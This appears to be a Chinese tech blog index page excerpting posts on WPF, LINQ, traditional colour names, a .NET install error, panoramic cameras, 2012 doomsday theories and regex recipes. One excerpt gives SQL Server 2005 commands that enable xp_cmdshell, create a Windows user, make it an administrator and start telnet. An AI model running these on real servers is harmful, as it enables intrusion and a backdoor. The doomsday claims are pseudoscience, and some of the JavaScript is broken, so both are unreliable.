WPF
WPF概述WPF为Windows Presentation Foundation的缩写 ,其原来代号为“Avalon”,因“我佩服”拼音首字母组合一样,国内有人调侃地称之为“我佩服”。WPF是微软新一代图形系统,运行在.NET Framework 3.0架构下,为用户界面、2D/3D 图形、文档和媒体提供了统一的描述和操作方法。基于DirectX 9/10技术的WPF不仅带来了前所未有的3D界面,而且其图形向量渲染引擎也大大改进了传统的2D界面,比如Vista中的半透明效果的窗体等都得益于 WPF。 程序员在WPF的帮助下,要开发出媲美Mac程序的酷炫界面已不再是遥不可及的奢望。 WPF相对于Windows客户端的开发来说,向前跨出了巨大的一步,它提供了超丰富的.NET UI 框架,集成了矢量图形,丰富的流动文字支持flow text support,3D视觉效果和强大无比的控件模型框架。[编辑本段]Windows Presentation FoundationWindows Presentation Foundation(以前的代号为“Avalon”)是 Microsoft 用于 Windows 的统一显示子系统,它通过 WinFX 公开。它由显示引擎和托管代码框架组成。Windows Presentation Foundation 统一了 Windows 创建、显示和操作文档、媒体和用户界面 (UI) 的方式,使开发人员和设计人员可以创建更好的视觉效果、不同的用户体验。Windows Presentation Foundation 发布后(计划在 2006 年),Windows XP、Windows Server 2003 和以后所有的 Windows 操作系统版本都可以使用它。Windows Presentation FoundationWindows Presentation Foundation 由两个主要部分组成:引擎和编程框架。? Windows Presentation Foundation 引擎。Windows Presentation Foundation 引擎统一了开发人员和设计人员体验文档、媒体和 UI 的方式,为基于浏览器的体验、基于窗体的应用程序、图形、视频、音频和文档提供了一个单一的运行时库。Windows Presentation Foundation 使得应用程序不仅能够充分利用现代计算机中现有的图形硬件的全部功能,而且能够利用硬件将来的进步。例如,Windows Presentation Foundation 的基于矢量的呈现引擎使应用程序可以灵活地利用高 DPI 监视器,而无需开发人员或用户进行额外的工作。 同样,当 Windows Presentation Foundation 检测到支持硬件加速的视频卡时,它将利用硬件加速功能。? Windows Presentation Foundation 框架。Windows Presentation Foundation 框架为媒体、用户界面设计和文档提供的解决方案远远超过开发人员现在所拥有的。Windows Presentation Foundation 的设计考虑了可扩展性,使开发人员可以完全在 Windows Presentation Foundation 引擎的基础上创建自己的控件,也可以通过对现有 Windows Presentation Foundation 控件进行再分类来创建自己的控件。Windows […]
View DetailsLINQ
基本概念LINQ,语言集成查询(Language INtegrated Query)是一组用于c#和Visual Basic语言的扩展。它允许编写C#或者Visual Basic代码以查询数据库相同的方式操作内存数据。从技术角度而言,LINQ定义了大约40个查询操作符,如select、from、in、 where以及orderby(C#)中。试用这些操作可以编写查询语句。不过,这些查询还可以基于很多类型的数据,每个数据类型都需要一个单独的 LINQ类型。经过了最近 20 年,面向对象编程技术( object-oriented (OO) programming technologies )在工业领域的应用已经进入了一个稳定的发展阶段。程序员现在都已经认同像 类(classes)、对象(objects)、方法(methods)这样的语言特性。考察现在和下一代的技术,一个新的编程技术的重大挑战开始呈现出来,即面向对象技术诞生以来并没有解决降低访问和整合信息数据( accessing and integrating information )的复杂度的问题。其中两个最主要访问的数据源与数据库( database )和 XML 相关。LINQ 提供了一条更常规的途径即给 .Net Framework 添加一些可以应用于所有信息源( all sources of information )的具有多种用途( general-purpose )的语法查询特性( query facilities ),这是比向开发语言和运行时( runtime )添加一些关系数据( relational )特性或者类似 XML 特性( XML-specific )更好的方式。这些语法特性就叫做 .NET Language Integrated Query (LINQ) 。包含 DLinq 和 XLinq[编辑本段]基础知识1. LINQ的读法:(1)lin k (2)lin q2. LINQ的关键词:from, select, in, where, group by, order by …3. LINQ的注意点:必须以select或者是group by 结束。4. LINQ的语义:from 临时变量 in 集合对象或数据库对象where 条件表达式[order by条件]select 临时变量中被查询的值[group by 条件]LINQ的查询返回值的类型是临时变量的类型,可能是一个对象也可能是一个集合。并且LINQ 的查询表达式是在最近一次创建对象时才被编译的。LINQ的查询一般跟var关键字一起联用 (什么是var?匿名对象) 。5. LINQ的全称:Language-Integrated Query6. LINQ的分类:LINQ to Object, […]
View Details中国传统色彩名录
████ 粉红,即浅红色。别称:妃色 杨妃色 湘妃色 妃红色 ████ 妃色 妃红色:古同“绯”,粉红色。杨妃色 湘妃色 粉红皆同义。 ████ 品红:比大红浅的红色 (quester注:这 里的“品红”估计是指的“一品红”,是基于大红色系的,和现在我们印刷用色的“品红M100”不是一个概念)████ 桃红,桃花的颜色,比粉红略鲜润的颜色。 (quester 注:不大于M70的色彩,有时可加入适量黄色)████ 海棠红,淡紫红色、较桃红色深一些,是非常妩媚娇艳的颜色。 ████ 石榴红:石榴花的颜色,高色度和纯度的红色。 ████ 樱桃色:鲜红色 ████ 银红:银朱和粉红色颜料配成的颜色。多用来形容有光泽的各种红色,尤指有光泽浅红。 ████ 大红:正红色,三原色中的红,传统的中国红,又称绛色 (quester注:RGB 色中的 R255 系列明度)████ 绛紫:紫中略带红的颜色 ████ 绯红:艳丽的深红 ████ 胭脂:1,女子装扮时用的胭脂的颜色。2,国画暗红色颜料 ████ 朱红:朱砂的颜色,比大红活泼,也称铅朱 朱色 丹色 (quester注:在YM对等的情况下,适量减少 红色的成分就是该色的色彩系列感觉)████ 丹:丹砂的鲜艳红色 ████ 彤:赤色 ████ 茜色:茜草染的色彩,呈深红色 ████ 火红:火焰的红色,赤色 ████ 赫赤:深红,火红。泛指赤色、火红色。 ████ 嫣红:鲜艳的红色 ████ 洋红:色橘红 (quester注:这个色彩方向不太对,通常洋红指的是倾向于M100系列的红色,应该 削弱黄色成分。)████ 炎:引申为红色。 ████ 赤:本义火的颜色,即红色 ████ 绾:绛色;浅绛色。 ████ 枣红:即深红 (quester注:色相不变,是深浅变化)████ 檀:浅红色,浅绛色。 ████ 殷红:发黑的红色。 ████ 酡红:像饮酒后脸上泛现的红色,泛指脸红 ████ 酡颜:饮酒脸红的样子。亦泛指脸红色 ████ 鹅黄:淡黄色 (quester注:鹅嘴的颜 色,高明度微偏红黄色)████ 鸭黄:小鸭毛的黄色 ████ 樱草色:淡黄色 ████ 杏黄:成熟杏子的黄色 (quester注:Y100 M20~30 感觉的色彩,比较常用且有浓郁中国味道)████ 杏红:成熟杏子偏红色的一种颜色 ████ 橘黄:柑橘的黄色。 ████ 橙黄:同上。 […]
View Details我的凤凰城(Phoenix)之旅
Google地图的功能真可谓强大,我查询 “北京” 到 美国“凤凰城” 竟然有自驾路线,而且相当详细,呵呵…… 驾车前往 菲尼克斯, AZ 的路线 16,773 公里 – 大约 37 天 9 小时 建议路线 中国 北京市 1. 从正义路向北方向,前往东长安街 350 米 2. 在1路口向右转, 朝东长安街行进 1.0 公里 3. 继续直行穿过东 单进入建国门内大街 1.6 公里 4. 继续前行,上建 国门外大街 2.2 公里 5. 继续前行,上建 国路 950 米 6. 上匝道走京通快 速路 5.6 公里 7. 下 东五环/京 沈高速/机场高速 出口,前往东五环 260 米 8. 在交岔路口继续沿指向东 五环的方向向右,走东五环 6.6 公里 9. 下 北京城区/京 津高速/天津 出口走京津高速 部分收费路段 47.5 公里 10. 下 上海/静 海/G020京沪高速 出口走京沪高速 收费路段 88.7 公里 11. 下 G025A 唐津高速 出口走唐津高速 收 费路段 27.4 公里 12. 下 G18/荣 成/乌海 出口,前往荣乌高速 收费路段 350 米 13. 在交岔路口继续沿 指向荣乌高速的方向向右,走荣乌高速 收费路段 […]
View Details.Net framework 3.5 无法安装,附解决方法
下载了VS2008,结果在安装时总是失败,检查日志,提示:[11/22/07,18:04:40] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:05:13] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:26:27] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:26:57] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a is not installed.[11/22/07,18:49:56] Microsoft .NET Framework 2.0a: [2] Error: Installation failed for component Microsoft .NET Framework 2.0a. MSI returned error code 1603[11/22/07,18:50:28] WapUI: [2] DepCheck indicates Microsoft .NET Framework 2.0a […]
View Details全景照相机
全景照相机 英译:panoramic camera 全景照相机又叫全景相机。 相机光轴在垂直航线方向上从一侧到另一侧扫描时作广角摄影的相机。这种相机利用小视场角镜头,镜头或其光学零件(如梭镜)运动扫描地物(运动方向与飞行方向垂直),相机光轴指向便连续改变,从而实现了扩大横向幅宽的全景摄影。曝光时间靠改变与飞行方向平行的靠近像面的狭缝大小来控制。全景照片的分辨率高,幅宽大,但几何尺寸不严格,存在全景畸变、像移补偿畸变和扫描位置畸变。全景相机可用于军事普查和国土普查。 全景相机有3种形式: (l)光律式(分扫描式)全景相机。照相时,镜头绕光轴转动,胶片反向同步运动,有严格的速度同步要求,分辨率较高。 (2)节点式(直接扫描式)全景相机。照相时,镜头绕通过后节点的轴转动或摆动,胶片在一个圆弧的展平板上静止不动并被展平,无速度同步要求,分辨率高。 (3)棱镜扫描式全景相机。照相时,镜头前的棱镜转动扫描地物,胶片与像作速度同步运动,但分辨率较低。美国、俄罗斯和中国都有多种型号的航天全景相机。 一般来讲,全景数码相机主要用于拍摄风光、集体纪念照,所拍摄的图像都有极高的清晰度,色彩还原准确,层次丰富,特别是用于拍摄集体照,从几十人到上千人都可以拍摄,而且没有变形,每个人都非常清晰。
View DetailsSQL SERVER2005 提权
--打开xp_cmdshellexec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; use master;xp_cmdshell 'dir c:';go --添加windows用户:xp_cmdshell 'net user awen /add'; --设置好密码:xp_cmdshell 'net user awen password'; --提升到管理员:xp_cmdshell 'net localgroup administrators awen /add'; --开启telnet服务:xp_cmdshell 'net start tlntsvr'
View Details导致2012世界末日的九种可能
前五种毁灭世界的灾难基本上都与太阳活动有关,除了外星智慧生物的入侵和小行星撞击地球以及核战争的爆发之外,世界末日的灾难主要是由于一系列原因所引发的地震和海啸。 2012年太阳活动频繁 第一种可能,太阳耀斑 每隔11年太阳运动都会达到一个最高峰,届时每天都会发生两到三次日冕物质抛射,到2012年底,太阳活动正好即将进入它的下一个最高峰。十亿吨的蒸气和磁场会从太阳内部喷射出来,并且速度高达每小时好几百万公里,就算你穿的是昂贵的航天服,这股极速的热流也很可能将你融化成液体蒸发掉。 有理论称磁极可能颠覆 第二种可能,磁极颠覆 日冕物质抛射出来的带电粒子猛烈冲击地球保护性磁场,导致地球磁场减弱甚至磁力为零。在磁层力恢复其力量时,南极和北极可能出现在任何位置,指南针有可能胡乱指示,其结果不仅仅导致人们在旅行时迷失方向,迁徙性动物经常会利用它们自己对地球磁场线的解读来进行导航,如果脱离了地球磁场的牵引,很多动物会一时间不知道自己身处何地,不知道自己应该在冬天来临时迁徙,最终走向灭亡。那些准备降落的飞机会突然发现自己的GPS失灵了,在紧要关头,GPS失灵可能会让人们付出生命的代价。 电影《2012世界末日》里的海啸 第三种可能,地震与海啸 太阳发射出的巨大电磁辐射很可能会引发强烈的地震。地壳中的金属会传导电磁,吸收当中的能量,使地壳变得不稳定。如果真是这样,2012年的太阳攻击将会在全世界陆陆续续引发地震,只要是断层里有大量金属的地方都难幸免。 这股全新的磁辐射很可能将打破原有的力量平衡,使板块发生错位,所以很可能会出现一场由磁场引发的强烈地震。只要不是发生在你脚底下,地震还算不得什么危险,可怕的是那些发生在深海之中地震所引起的海啸。海啸是人类所知的最具破坏力的力量之一,大洋海底会突然发生移动,例如海底的提升,可能只是一点点,可能只是3,4厘米,但这个过程会排开大量的海水,但别急着退订你的游轮旅行,事实上海啸发生时待在海上反而更安全,在巨大的海浪冲向海岸之前,海平面会变得很低,然后巨浪会突然升起。它会从海岸线吸走海水,形成一个遮天蔽日威力惊人的大海浪,想象一下,一天,你坐在海滩上享受着碧海蓝天,心情舒畅,然后你朝海岸望去突然发现大海正在迅速地后退,甚至比你奔跑的速度更快,它向后退了好几公里,又退了好几公里,如果看到这样的景象,这很可能将成为你这辈子见到的最后一幕,因为那就意味着海啸要来了。 黄石火山爆发 第四种可能,火山爆发 有理论称,在2012年时,可能会有一股非常强烈的太阳能量注入地球,它成为促使蓄势待发的黄石国家公园火山或是其它进入红色警戒状态的超级火山爆发的最后一击。如果黄石火山爆发其威力将立即毁灭周围一切,喷出的熔岩朝着各个方向流去,蔓延数十公里,并摧毁沿路的一切。最可怕的是风会把这些火山灰和毒气云吹到世界各地,届时窜大气将充满大量火山灰,中午时分太阳也会被遮蔽,这就是我们称为核冬天的现象,寒冷和饥饿将杀死一切生命。 板块断裂 第五种可能,板块断裂 如果地球大陆的平衡受到巨大冲击,地球上的所有地面可能会突然绕着地球的核心旋转,这个说法来自一个名叫查尔斯哈普古的人,他认为地球将会而且已经出现过好几次这样的重组。地壳底下有一层厚厚的地幔叫做软流层,那里的岩石柔软可塑,通常,当地壳的两个部分之间发生相互摩擦时就会产生地震。但是根据哈普古的理论,地表的极度不平衡可能会导致整块地壳立刻滑入软流层中,哈普古认为地壳完全脱离地幔,进行独立旋转是有可能的。地球并非完美的圆形,而是赤道部分略鼓,想象一下,有一个点在北极,还有一点在赤道,在赤道的那个点的旋转速度更快,所以它的角动量会更高,曾经坐过旋转木马的人都知道,你会紧紧抓住它以免被甩出去,事实上所有的旋转物体,包括地球磁场受到的都是同样的力量,那股力量会将物质拉向赤道,所以地球的中间会略略鼓起。地球并不是一个完美的圆形,而且包裹它的地壳相当坚固,那片穿过赤道的区域现在突然需要被延伸,很可能大地会开始开裂,当越陷越深被强力拉伸时,强烈的地震和巨大的地裂会周期性出现。 2012年12月21日,太阳、地球以及银河系的中心排成一线 第六种可能,天体一线切断宇宙能量来源 有人说,2012年冬至日,太阳正巧遮蔽银河系的中央,那一刻起,地球的宇宙能量来源将被切断。那是从被称为“银河系的心脏”的黑洞所释放出的赐予生命的能量,如果失去了这种能量,地球上的重力将会消失,人类将会被月球的引力加速吸入太空,体内的大气压会直接把人体胀破。 外星人的科学技术水平非人类能想象 第七种可能,外星智慧生物入侵 很多人认为这个挺荒谬的,其实事实并非如此,科学家已经证明了银河系中存在其它生命的可能性,也就是说银河系中的其它智慧生物可能不止一种,其中或许有一些智慧生物智商比人类高出好几百倍,它们的科学技术人类简直无法想象。如果2012的灾难不仅仅只是发生在太阳系,银河系内其它智慧生物在失去自己星球的同时必然会去寻找一个适合它们居住的新天体,如果不幸看上了地球,一场星球争夺大战即将爆发! 核武器爆炸时高耸入云的“蘑菇云” 第八种可能,核战争爆发 大家或许已经意识到目前国际关系随时都可能紧张,就连“Google退出中国市场”事件都牵扯到了政治关系。现代核武器的威力到底有多大?据专家介绍,核武器爆炸时,几公里内的建筑都会变成一片火海,在没有很好的躲避设施环境下强烈的核辐射会给十几公里内的人造成可怕的创伤甚至死亡。爆炸后大火会燃烧大量的物体产生一层厚厚的烟云,浓浓的黑烟会吸收阳光让空气温度上升到50至100摄氏度,很多生命都会被活活烤死。核武器爆炸产生的化学物质会进一步破坏臭氧层,如果没有了臭氧层,人体将暴露在强烈的太阳紫外线辐射下,皮肤会溃烂出血。如果2012年核战争真的爆发,那将是多么的可怕。 小行星把地球撞出运行轨道 第九种可能,X行星撞击地球 地球周围时刻充满着各种巨型漂浮物在游荡着寻找东西撞,不幸的地球很可能死于2012年一场可怕的宇宙交通事故,它将与银河系中的另一颗急速飞行的行星发生灾难性的撞击——一颗被称为X行星的神秘末日导弹。X行星是一颗穿行于太阳系外部区域的假象行星,这套理论基本上就是说,当这颗X行星穿过内太阳系时。它的引力不仅对地球还将对太阳造成一定的影响,它可能导致太阳发射出某些足以毁灭星球的太阳耀斑。
View Details常用的匹配正则表达式和实例
匹配中文字符的正则表达式: [\u4e00-\u9fa5] 匹配双字节字符(包括汉字在内):[^\x00-\xff] 应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1) String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} 匹配空行的正则表达式:\n[\s| ]*\r 匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/ 匹配首尾空格的正则表达式:(^\s*)|(\s*$) 应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下: String.prototype.trim = function(){return this.replace(/(^\s*)|(\s*$)/g, "");} 利用正则表达式分解和转换IP地址: 下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序: function IP2V(ip){re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g //匹配IP地址的正则表达式if(re.test(ip)){return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1}else{throw new Error("Not a valid IP address!")}} 不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下: var ip="10.100.20.168"ip=ip.split(".")alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1)) 匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* 匹配网址URL的正则表达式:http://([\w-]+\.)+[\w-]+(/[\w– ./?%&=]*)? 利用正则表达式去除字串中重复的字符的算法程序:[注:此程序不正确,原因见本贴回复] var s="abacabefgeeii"var s1=s.replace(/(.).*\1/g,"$1")var re=new RegExp("["+s1+"]","g")var s2=s.replace(re,"") alert(s1+s2) //结果为:abcefgi 我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。 得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1 s="http://www.9499.net/page1.htm"s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")alert(s) 利用正则表达式限制网页表单里的文本框输入内容: 用正则表达式限制只能输入中文:onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,"))" 用正则表达式限制只能输入全角字符: onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,")" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,"))" 用正则表达式限制只能输入数字:onkeyup="value=value.replace(/[^\d]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))" 用正则表达式限制只能输入数字和英文:onkeyup="value=value.replace(/[\W]/g,") "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,"))"
View Details